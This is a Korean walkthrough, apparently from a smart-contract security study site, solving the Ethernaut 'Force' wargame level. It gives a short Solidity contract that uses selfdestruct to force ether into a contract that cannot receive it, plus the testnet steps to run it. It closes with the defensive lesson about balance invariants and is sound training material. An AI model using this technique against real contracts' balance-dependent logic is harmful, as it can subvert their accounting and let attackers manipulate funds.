> For the complete documentation index, see [llms.txt](https://whs3-doge5k.gitbook.io/smartcontract-security-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://whs3-doge5k.gitbook.io/smartcontract-security-docs/ethernaut/7.-force.md).

# 7. Force

\#selfdestruct

> 어떤 컨트랙트는 당신의 이더를 아예 받지 않기도 합니다. `¯\\_(ツ)_/¯`
>
> 이 레벨의 목표는 해당 컨트랙트의 잔액을 0보다 크게 만드는 것입니다.
>
> 도움이 될 만한 것들:
>
> * Fallback 함수의 동작 방식
> * 때로는, 다른 컨트랙트를 이용한 공격이 가장 효과적일 수 있습니다.
> * 상단의 [“?”](https://ethernaut.openzeppelin.com/help)페이지에서 “Byound the console” 섹션을 참조하세요.

### 들어가기 전에

* 대부분의 스마트 컨트랙트는 이더를 받기 위해 `receive()`나 `fallback()` 함수를 정의해놓았다.
* 하지만 Force 문제의 컨트랙트는 아무런 수신 함수가 없다.
* 그래서 일반적인 방법 (transfer, send, call)으로는 절대 이더를 보낼 수 없다.
* 이걸 우회하는 방법이 바로 `selfdestruct`&#x20;

#### 여기서 `selfdestruct`란?

&#x20;[`selfdestruct(address recipient)`:현재의 컨트랙트를 파기하고 자금을 주어진 Address 로 전송합니다.](https://solidity-kr.readthedocs.io/ko/latest/units-and-global-variables.html)

* 이 명령은 컨트랙트를 **파괴**하면서, 해당 컨트랙트의 **잔액 전부를 recipient에게 강제로 전송한다.**
* 이때 recipient가 이더를 받을 준비가 되어 있지 않아도 **무조건 전달된다.**

***

### 원본 소스 코드

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
    /~____  =ø= /
    (______)__m_m)
                   */ }
```

***

### 공격 시나리오

1. **Ethernaut에서 Force 문제 인스턴스 생성**
   * 문제 컨트랙트 주소를 복사해둠
2. **Remix에서 ForceSender 컨트랙트 작성 및 배포**
   * 이더를 받을 수 있고, selfdestruct 기능 포함
3. **환경 설정**
   * Remix의 환경을 `Injected Provider - MetaMask`로 설정
   * Sepolia 테스트넷 연결
4. **이더 전송**
   * MetaMask로 ForceSender 컨트랙트에 약 0.001 SepoliaETH 전송
5. **강제 전송 실행**
   * `destroy(target)` 함수 실행\
     → 이때 `target`은 Force 인스턴스 주소
6. **Ethernaut로 돌아가 Submit**
   * 잔액이 들어갔음을 인식하고 **성공**

***

### 공격 코드

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract ForceSender {
    address public owner;

    constructor() public {
        owner = msg.sender; // 배포자 주소 저장
    }

    receive() external payable {} // 이더 수신 허용

    modifier onlyOwner {
        require(msg.sender == owner, "caller is not the owner"); // 접근 제어
        _;
    }

    function destroy(address payable target) public onlyOwner {
        selfdestruct(target); // 잔액을 target에 강제 전송하고 컨트랙트 삭제
    }
}
```

***

### :bangbang:더 알아보기:bangbang:

> Solidity에서 컨트랙트가 이더(ether)를 수신하려면, fallback 함수에 `payable` 키워드가 있어야 합니다.
>
> 하지만 공격자가 자폭을 통해 해당 컨트랙트로 **강제로 이더를 전송**할 수 있습니다.
>
> 따라서 어떤 컨트랙트 로직에서도 `address(this).balance == 0`이라는 조건을 \*\*절대적인 불변 조건(invariant)\*\*으로 신뢰해서는 안 됩니다.

* Force 문제는 일반적인 전송(transfer, send)이 불가능한 컨트랙트를 상대로 selfdestruct를 통해 강제로 이더를 밀어넣는 기법을 요구한다.
* MetaMask → ForceSender → destroy(target) → Ethernaut 제출이라는 전체 흐름을 이해하는 것이 핵심이다.
